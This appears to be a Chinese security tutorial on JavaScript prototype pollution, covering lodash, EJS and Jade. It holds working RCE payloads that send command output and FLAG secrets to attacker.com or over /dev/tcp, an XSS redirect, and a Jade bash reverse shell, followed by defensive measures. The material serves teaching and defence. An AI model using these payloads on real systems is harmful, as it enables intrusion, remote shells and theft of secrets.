从几个例子分析JavaScript Prototype 污染攻击
字数 1281 2025-08-22 12:23:36
JavaScript Prototype 污染攻击深度分析
前言
原型链污染(Prototype Pollution)是JavaScript中一种特殊的安全漏洞,攻击者通过修改对象的原型属性来影响应用程序的行为,可能导致从权限提升到远程代码执行等严重后果。本文将通过多个实际案例深入分析这种攻击方式。
基本概念
JavaScript原型链机制
JavaScript中的每个对象都有一个内部属性[[Prototype]](可通过__proto__访问),当访问对象属性时,如果对象本身没有该属性,JavaScript会沿着原型链向上查找。
原型链污染原理
当攻击者能够控制对象的属性,特别是能够修改__proto__属性时,就可以污染所有继承自Object.prototype的对象,从而影响整个应用程序的行为。
案例一:Lodash库的原型链污染
漏洞代码分析
const lodash = require('lodash')
// ...
data = lodash.merge(data, req.body)
漏洞利用
Lodash的merge函数存在原型链污染漏洞,攻击者可以构造特殊payload:
{
"constructor": {
"prototype": {
"isAdmin": true
}
}
}
或:
{
"__proto__": {
"isAdmin": true
}
}
深入利用:模板引擎RCE
通过污染sourceURL属性实现远程代码执行:
{
"__proto__": {
"sourceURL": "\nvar require = global.process.mainModule.constructor._load;var result = require('child_process').execSync('ls /').toString();var req = require('http').request(`http://attacker.com/${result}`);req.end()"
}
}
关键点:
- 利用
lodash.template中的Function构造函数动态执行代码 - 通过
sourceURL属性注入恶意代码 - 使用
global.process.mainModule.constructor._load绕过require限制
案例二:EJS模板引擎的原型链污染
漏洞利用方式一:修改escapeFunction
{
"type": "test",
"content": {
"constructor": {
"prototype": {
"client": true,
"escapeFunction": "1;return process.env.FLAG",
"compileDebug": true
}
}
}
}
漏洞利用方式二:修改outputFunctionName
{
"type": "test",
"content": {
"constructor": {
"prototype": {
"outputFunctionName": "a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')"
}
}
}
}
漏洞利用方式三:绕过认证+XSS
- 污染原型链使
req.session.login和req.session.userid为true - 利用前端jQuery的
$.extend漏洞注入XSS payload - 通过修改
content属性实现XSS攻击:
$("li[type='logger']").find("span.content").html("<script>window.location='http://attacker.com'</script>")
案例三:Jade模板引擎的原型链污染
漏洞利用
通过污染line属性实现RCE:
{
"__proto__": {
"compileDebug": 1,
"self": 1,
"line": "global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"
}
}
关键点:
- Jade在编译模板时会使用
new Function()动态执行代码 - 通过污染
line属性注入恶意代码 compileDebug和self属性用于控制执行流程
防御措施
- 对象冻结:使用
Object.freeze(Object.prototype)冻结原型 - 属性过滤:避免将用户输入直接合并到对象中
- 使用安全版本:更新易受攻击的库版本
- Schema验证:对用户输入进行严格的Schema验证
- 使用无原型对象:创建对象时使用
Object.create(null)
总结
原型链污染是一种危险的JavaScript漏洞,影响许多流行的库和框架。攻击者通过控制对象原型可以影响应用程序的全局行为,甚至实现远程代码执行。开发者应了解这种攻击的原理,并在代码中实施适当的防御措施。